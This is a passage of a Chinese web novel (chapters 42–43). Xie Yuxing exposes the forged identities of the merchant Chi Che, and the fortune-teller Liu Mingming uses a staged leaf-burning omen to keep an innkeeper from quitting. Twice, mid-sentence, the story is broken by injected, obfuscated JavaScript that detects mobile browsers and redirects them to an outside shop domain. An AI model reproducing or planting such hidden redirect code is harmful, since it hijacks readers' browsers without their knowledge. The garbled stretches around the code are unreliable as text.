“我们这是同舟共济,你难道不知道吗?迟彻、陈所得、还有那个被罗树看见的带路的商人,他们的户籍都是假的。” 乔怀潇猛地停下动作,“什么意思?” 乔怀潇浑然不觉谢昱行已经摸清楚了她的脾气,更没察觉到谢昱行的手早已虚虚的揽在她的腰间,她只顾得上听谢昱行说道:“我拿着你给我的紫藤花令去雁馆暗中取商人名册,却被雁馆手下告诉了迟彻,我觉得不对劲,那时就派书礼去玉尧调出当年迟彻的户籍。” 难怪起火时没人在谢昱行身边,乔怀潇拧着眉头。 “方才书礼回报,迟彻的户籍是顶替了当年一个猎户的孩子的户籍,这几年不断改名,使得无人发现,不止是他,陈所得,还有他带走的那些人,身份都有问题。” 天地辽阔,谢昱行的声音不大,但足以让乔怀潇听得清楚。 “迟彻绝对不是一个普通的商人,他在长平苦心经营另有图谋。” 风又呼呼的吹过,乔怀潇回想起这段时间的种种,这次她只觉得风声犹如哭嚎,是云边村枉死百姓的怨声,她不禁打了个寒颤,“云边村屠村和他有关,他是故意嫁祸给波利,想挑起大庆和波利的战争,是我引狼入室。” “不是。”谢昱行的声音坚定而充满力量。 乔怀潇迫切的抬眼看去,只见湖面上的波光在谢昱行眼中折射出温柔的责备,他摇头,“有心之人刻意伪装蓄意为难,这不是你的错。” 谢昱行握住乔怀潇的手,“我说过,我们一直都在一条船上,打起精神来,我们不会让他的诡计成功的,对吗?” 42. 不祥 窗外云卷云舒,鸟儿站在树干鸣叫。 谢昱行坐在书桌前,日光透过窗纸照在他手下的宣纸上,他执笔,垂颈,一篇词采俱佳的折子由他手中写出,其中利弊更是清晰,娓娓道来。 他停笔,取出上奏专用的印章,在折子的左下角盖上,最后合上,交给一旁待命的书礼,“派人送往京师,不得有误。” 书礼郑重接过,低着头但没有立即去办,显然有话要说。 “你想说什么?” “这折子交上去,陛下会答应吗?就算答应了,乔大人爱女心切,必然要责怪大人先斩后奏。” 谢昱行看着折子,又看向窗外的远方,只说,“我一直搞错了一件事情,现在到了时候了。” 书礼没来得及问这个时候指的是什么时候,谢昱行朝他挥了挥手,“派人去送奏折吧。” 谢昱行想起了赵鹏毅这几日对待乔怀潇的态度,抬脚朝外走去。 乔宅里,乔高湛正在亲自给乔怀潇的黑马梳毛,他撩起衣袖,拿着毛梳利落的一下一下梳着,黑骏马身上的毛发油亮无比,显示出绸缎般的质感。 马儿倨傲的从鼻腔里喷出热气,乔高湛也不恼,手上动作不停,嘴里念叨着:“还好我没头发你吹不着我。”“吃草吃草,吃了草才有力气驮潇儿。” 谢昱行走入马厩时看见的就是这样一副情景,他走上前,接过乔高湛拿起的草料,放入马槽。 “夫子,这就是赵总督送给怀潇的马?” “是了,你看看,这身形这高度,俊不俊?” “这是曹河马吧,说一句万里挑一都不为过,就这样送给怀潇了?” “怎么,你觉得潇儿配不上这马?”乔高湛动作一顿,“有话直说。” “怀潇的事情,夫子是不是告诉赵总督了,否则他不会送这马给怀潇,昨天更不会同意让云边村村民进城声援她。” “是,他当然得知道,这样他行事才会有分寸。” 乔高湛话音刚落,谢昱行便撩开衣摆,直直的在他面前跪下,乔高湛吓了一跳,伸手去扶他,“你这是做什么?” 谢昱行抬头,“怀潇和我有相同的想法,云边村屠村之事不能就此作罢,迟彻更是有意搅乱外疆局势,我已经启奏陛下,请陛下准我和怀潇一起出使波利。” “你说什么?!”乔高湛手指着他,气得不轻,“你既然知道局势波云诡谲,为什么要拉着潇儿和你一起冒险,你!” 谢昱行骤然开口,“夫子可曾想过,赵总督都能知道真相,为什么乔怀潇不行?” “她的人生凭什么要被蒙在鼓里。”谢昱行眼中滑过暗色,“当年的事情,我们都以为是为她好,但是我现在才发现我们错的离谱,我会告诉她当年的真相。” 阳光斜斜的照来,投下黑骏马优越身形的影子,它不耐的甩起马尾,犹如一条长鞭打在跪着的谢昱行瘦削挺拔的身上,角度两相重合,让乔高湛想起当年跪在长门街的少年郎。 曾经眼中的少年郎此刻已具棱角,谢昱行站起来起身离去,“天地广阔,她有自由翱翔的能力,没有人可以再拦着她。” 乔高湛惊骇的久久不能言语,直到谢昱行的身影消失,他才忿然甩开手中的鬃毛梳。 另一边,乔怀潇浑然不觉她被隐瞒了什么,她在家中醒来,正对着菱花窗发呆,正感到心中空落落的,一个熟悉的身影进入她的视线。 谢昱行隔着窗笑着和她对望,眼光洒在他的身上,金灿灿明澄澄的,乔怀潇一怔,随后“哐嘡”一下,把窗户给关上了。 “昨日喝了那么多酒,小心今天头疼。”隔着窗户,谢昱行的声音传来。 乔怀潇听着,正踟蹰着开口,谢昱行清朗的嗓音又响起,“那你好好休息,我先走了。” 乔怀潇抿唇,过了一会儿,推开窗,外面果然没了谢昱行的影子。 乔怀潇心中便越发别扭起来了,她干脆开门追了出去。 但谢昱行的身影已经寻觅不见了。 街道上行人如织,在身旁穿梭,乔怀潇刚要回头,被一个大力扯得身形踉跄。 “快躲起来。”刘明明拽着她躲到角落。 乔怀潇反应过来,“是你。” “这话应该我来说才是吧,你一个越狱的人,也敢这么大摇大摆的在路上乱晃。”刘明明走在前头,引着乔怀潇沿着小巷走去,“这边,跟我走。” 乔怀潇没来得及解释,不过这时候有了机会好好打量起这位“狱友”,他穿一身粗布衣裳,腰间挂着锦囊和铜钱串子,个子十分的高。 他们所走的小巷两旁有人家院子里伸出来的树枝,乔怀潇在长平这么久,却也不知道这条小路,她开玩笑道:“哦,你又是怎么出狱的,难不成和我一样越狱出来的?” 她没说完,刘明明就伸指抵在唇上,朝她“嘘”了一声。 “哥哥,你回来啦。”一个小女孩推开了院门,睁大着眼睛看着他们。 刘明明蹲下去和她说话,“小悦儿乖,这两天在家都做了什么?” “看书,画画,我想去找哥哥,婶婶不让,哥哥,这些天你去哪儿了?” 刘明明的神色有丝为难,站在小女孩身边的妇人开口了,“悦儿,你哥哥这些天在外面赚钱呢,刚刚画的画那么漂亮,你去拿来给哥哥看看好不好?” “我这就去。”小女孩高兴的飞奔回房。 杜大婶这才看向刘明明,“悦儿最近又咳嗽了,你注意不要让她吹到了风。” “我会注意的,这些天又麻烦婶子照顾小悦儿了。”刘明明取出些铜板递了过去。 都是相熟的邻居,杜大婶知道刘明明孤身带个孩子的不便,便时不时替他搭把手,她也不和刘明明推脱,收下钱,“小悦儿可爱的紧,带她我也高兴,不过你就算急着赚钱,也不能急昏了头。” 杜大婶看一眼乔怀潇,嘱咐了这么一句,走了。 乔怀潇环顾了一圈这简朴的院子,心下大抵对刘明明为什么会出现在监狱里有了数。 刘明明和她对上目光,笑笑,“让你见笑了。” 但他的脸色又在一瞬间变了,他几乎是心电感应般,立刻就冲进了屋子,“小悦儿?” 乔怀潇跟着走进屋子,刘悦此时脸色煞白,捂着心脏半靠在桌子边。 “我想去够柜子上的画,够不到,哥哥,我就是没缓过气来,没事的,你别担心。” 刘明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13918332|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明把她抱到床上坐着,回身从一旁的矮桌上拿起一瓶药丸子,“快把药吃了,睡一会儿。” 瓶子里最后一颗药丸用尽,乔怀潇注意到刘明明攥紧着瓶子的手。 “小悦儿乖,睡一会儿,哥哥去给你煮饭。”刘明明把小悦儿哄睡着了,走到外间去忙活起来。 乔怀潇跟在他身后,说道:“你是因为钱下的狱?” 刘明明怔了怔,肩膀垮了下来,“是,我给人算命赚点钱,有人说我骗钱,就这样。” 乔怀潇的眼神变了变,刘明明赶紧道:“我承认,我是想做你的生意,但你放心,我绝对不是骗子。” “有些事还真是神奇。”乔怀潇笑了,看着刘明明越发紧张的神色,她解释道,“我的意思是你缺钱,而我正好有的是钱。” “你妹妹的药还差多少钱?” 刘明明呆呆的答道:“九……九两银子。” “跟我取钱去。”乔怀潇朝外走去。 刘明明这才回过神来,回头看了一眼,确保刘悦安稳的睡着了,才赶紧跟上乔怀潇的步伐。 刘明明是土生土长的长平人,他认出乔怀潇要去的方向是归宁驿站的方位。 但和往日络绎不绝的繁华样子比,归宁驿站此时要冷清不少。 乔怀潇自然也发现了,她走到柜台前,叩了叩桌面,对掌柜的说:“郭掌柜,取九两银子来。” 郭全讶异的看向乔怀潇,他朝小厮挥挥手,差人进账房支钱去。 他搓了搓手,从柜台里走出来,“小帮主,你怎么来了?” “随便看看。”乔怀潇的语气里听不出喜怒,“账本拿来我看看,就是迟彻取空了钱的那本。” 郭全抿了抿唇,“好,小帮主稍等,我这就去亲自取过来。” 刘明明看着郭全捧着账本去而复返,和他一同前来的还有账房管账的先生,小厮也都等在一边看着这边的情况。 他不禁有些好奇,抬头瞄了一眼被乔怀潇拿在手里的账册,但待目光触及到上面惊人的数字,他心中大惊。 再将目光看向乔怀潇,她却还是波澜不惊的模样,只是轻轻将账册放在桌上,扫过归宁驿站的众人,“迟彻取钱说要开辟新商队,你们就连禀告我都不曾,就把钱支给他了?” “现在他带着金银细软逃之夭夭,这账上的窟窿要怎么填?” 这话和他没有关系,刘明明却也下意识缩了缩脑袋。 郭全掐了掐手,深吸一口气,“小帮主,是我无能。” “不过,这归宁驿站,这雁帮,我现在是怎么都呆不下去了。” 乔怀潇看向他,“哦?你倒是说说什么逼的你呆不下去了?” 一阵穿堂风吹过,刘明明被吹得一个激灵,他这才发现墙壁上点着红烛,抬眼看去,一尊怪模怪样的神像被供奉在上。 正巧,郭全开口道:“赵真君大道得成前就差点被一场火给烧死了,火灾是极不祥的,大帮主为什么会突然出走,一定是有原因的。” 人群中甚至有人道:“依我看,雁馆都被火给烧了,正是天意不容雁帮,我们哪还敢在雁帮待。” “就算今日您不来,我们也是要去向您请辞的。” 43. 绽放 “人多热闹,当然是好的,你快去吧。”乔怀潇应下了。 刘明明出了门,冷风吹来,但刚刚抱进怀里的九两银子烫手起来,他加快脚步回家,把银两放好后,牵着刘悦的手重新走向归宁驿站。 这次他从后门进去的,看着炊烟升起的厨房,刘明明放慢了脚步,说话声从窗边泄露出来。 “掌柜的,待会您真要向小帮主请辞吗?在归宁驿站干活不好吗?” “雁馆都被烧了个精光,归宁驿站还能落得什么好?真君保佑我们,谁人不知,这火灾可是大忌,是天罚,说不定就是小帮主一向不礼赵真君,触怒了神佛,我看雁帮是要倒大霉了。” “可是雁帮发生这样的事情,正是小帮主需要我们的时候,这时候走不是落井下石吗?而且小帮主对我们那么好,迟……他卷钱跑了,小帮主刚刚都没有责罚我们。” “话虽如此,但是这场火这么邪门,真君教谕就说过这是恶昭,今天这顿饭就是散伙饭,怎么,我们都走了,你要留下来吗?” “……那香蒿还没洗好,我去洗。” 后厨的声音小了下来,刘明明眉头紧皱,刘悦晃了晃刘明明牵着她的手,正要说话,一把被刘明明捂住嘴,带远了。 走到僻静处,刘明明对刘悦说道:“刚刚的话咱们就当没听见好不好?” 炒菜的香味从厨房里飘来出来,刘悦啃着指甲,点点头。 “你们站在那儿做什么,快过来,要开饭了。” 刘明明抬起头来望去,乔怀潇正倚在饭厅前的梨木门旁,远远同他们招手。 他应了一声,走了过去。 饭厅里摆着一张八仙桌,侍从归整好碗筷,陆续把饭菜端上了桌。 众人入座,郭全坐在乔怀潇的左手边,“这香蒿下了豉汁、淡酱和醋调合,香的很,小帮主,快尝尝。” 话音未落,他又指着另一道菜殷勤介绍,“这道竹荪酿肉,竹荪是早上刚从山上摘下来的。” 右手边有人要给自己倒酒,乔怀潇挥了挥手,是制止的意思,同样的,她看了一眼郭全。 郭全顿了顿,过了一会儿,重新开口:“小帮主,其实今天我们想和你说……” “忘了还有一个汤。”祝涛一拍脑袋,噔噔噔的跑远了。 郭全的话就这样被打断。 祝涛很快从厨房端上来一碗汤,放在了桌子的正中心,碗碟碰撞发出清脆的声响,乔怀潇转头看郭全,“你刚刚想说什么?” “没……没什么。”郭全闪躲着眼神,他注意到刘明明,“刘兄弟看着一表人才,不知在哪儿高就?” 菌菇的香气充盈着四周,热腾腾的,刘明明一直低头吃饭,此时他搅了搅碗中的汤,忍不住抬头,“高就谈不上,不过祖传的本事,混口饭吃罢了。” 还没等人问他,刘明明就自顾自说道,“在下不才,略通占卜问卦。” 这话极大的激起了同桌人的兴致,尤其郭全,“刘兄弟竟然有这能耐,不如帮我算算?” 刘明明站了起来,从红木架上盆栽树上扯下几片叶子,接着挥出手去,十几片叶子落在地上。 刘明明看了一眼,说道:“艮卦,当行则行,当止则止;当说则说,不当说则不说,一切必须审慎抑止为是。” “什么意思?” “改变意味着挫折,稳定不变为上策。”刘明明看向郭全。 郭全回想着刘明明扯树叶卜卦,动作怎么看怎么随便,有些半信半疑。 刘明明脸上并没有什么表情,只是弯腰把树叶都捡起来,在握住叶子的一刻,一抹火光从他手心燃起,把叶子烧了个精光。 祝涛发出惊呼,郭全同样吃了一惊,迫不及待问刘明明:“我这卦是不是很差,火光不祥。” “是吉兆。”刘悦放下筷子看着他们,她的眼睛又黑又圆,看着他们说话时显示出孩子般箴言的可信。 刘明明点头,“郭掌柜可听过涅槃二字,正所谓死而向生,这是最好的时机,是吉兆。” “吉兆……”郭全喃喃道,十分心不在焉。 宴上的其他人不禁涌来,忙着要刘明明也给他们卜个卦。 乔怀潇移步到暖阁喝茶,外面的烟花又开始放了起来,不过并不密集,稀稀拉拉的,时不时迸现在天际,而里面又时不时传来“算得真准!”“大师!”这样的话来,乔怀潇不禁摇头笑了笑,手边的盆栽有花有叶,她想着事情,折了一朵拿在手上。 不知过了多久,郭全走了出来,这次他的态度不再模糊不清,什么也没多说,和乔怀潇告别,回到前堂算账去了。 刘明明出来的时候,乔怀潇叫住了他,“我们一起走吧。” 刘明明牵着刘悦的手走到街道上,乔怀潇的鼻子很灵,闻到他身上细细的酒味,源头就在他的指尖,“你的掌心还好吗?” 刘明明愣了一下,挠了挠头,“你发现了,叶子被我沾了酒,碰到火星一下就燃了,不过今天这也不算弄虚作假,是他们心里有鬼,被我用占卜的名义一说就退缩了。” “其实我想到了他们想跟我请辞,不过我没想到你会帮我。”乔怀潇的语气有些感慨,又很快释然,耸了耸肩,开玩笑道,“你今天舌灿莲花,有模有样的,不会真是江湖骗子吧?” 刘悦一直低着头,听到这儿,猛地为自家兄长说话:“才不是,哥哥是因为说了实话搅坏了那富户配阴婚的打算,才被抓进牢里的。” 刘明明点头,又很快反应过来,“小悦儿,你知道我这两天是去……” “我偷听到杜大婶讲话啦。”刘悦吐了吐舌头,生动的表情使得她身上因病弱而显的凋零气息散去不少,她有着远超同龄人的善解人意,“我知道哥哥是怕我知道后担心发病。” “你看,你小瞧她了。”乔怀潇摸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036892|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸刘悦的脑袋。 说话间,三人已经走到了刘家门口的巷子处,乔怀潇对刘明明说道:“你今天在归宁驿站看到那遵赵真君神像了吧,从前我一直以为这是所谓个人信仰,但现在我才发现,信仰也不过是某些人处心积虑埋下的工具。” 乔怀潇想起了迟彻身上终年的香火气,想通了缘由,不禁为自己感到可笑。 “以后我不想在归宁驿站看到赵真君。”乔怀潇的视线停留在刘明明身上。 刘明明此刻才发现乔怀潇眼神中洞悉一切而又温和的镇定,原来她什么都知道。 “生下悦儿后我娘就死了,我爹是个赌鬼,我从他那里偷学到了一些道法天象,但我从来不信命。”刘明明十分坦然,“那天把你带进狱里的是总兵手上的亲信,我就知道你不简单,所以我打听过你了,今天的偶遇其实是我特意为之。” “本来只想拿了钱就走,只是我实在忍不了他们的愚昧。”刘明明嗤笑一声,“命运应该掌握在自己的手里才对。” “洗去赵真君对他们的影响,这件事包在我身上。”刘明明打包票道,他的目光外移,脸上出现一种过来人的神态,“有人在等你。” 在巷子的另一边,乔怀潇看见了谢昱行。 乔怀潇没有动,对刘明明说道:“你不是善于合算姻缘吗?那你算算我和他是合还是冲。” 刘明明摇摇头,“问题不在于属相八字,在于你的心。” “我和他之间,我也说不清楚,我不知道该怎么面对他。” 刘明明不得不承认,就算是在爱情的苦恼里,乔怀潇的神情也着实和寻常女子不同,他想了想,在她耳边轻声说了一句话。 乔怀潇的眸光微闪,走向了对面的谢昱行。 “听人说你找我,我以为你累了,今天不想见我。”谢昱行看见乔怀潇身后的男人进了院子,垂下眼眸,“我已经派人把请命的折子送去京师了,但如果你反悔了,现在截回还来得及。” 夜幕中,一朵烟花在空中绽放,倒印在乔怀潇的眼中,她靠近了些,谢昱行能感觉到她的呼吸。 “昨天那么厉害,今天怎么打退堂鼓了?”乔怀潇眼中有些笑意,但很快转瞬即逝,“迟彻潜伏在雁帮,勾结外人以至于云边村被屠,此仇必报。” 乔怀潇朝他伸出手,“我们合作愉快。” 谢昱行有一瞬间的怔愣,没有握上去,反倒是乔怀潇先抓住他的手掌,晃了晃,“我们说定了。” 手心传来柔软而温暖的触感,耳边是乔怀潇和以往都不一样的,平和的几近亲昵的声音,“等你的好消息。” 乔怀潇踏步离开,谢昱行低头一看,终于发现了乔怀潇刚刚塞进他掌心的东西,一朵花,一朵不知道从哪里揪下来的花骨朵。 身后的天幕中开始不断的绽放烟花,越发灿烂起来,半晌,谢昱行失笑一声,将花朵虚虚拢在掌心。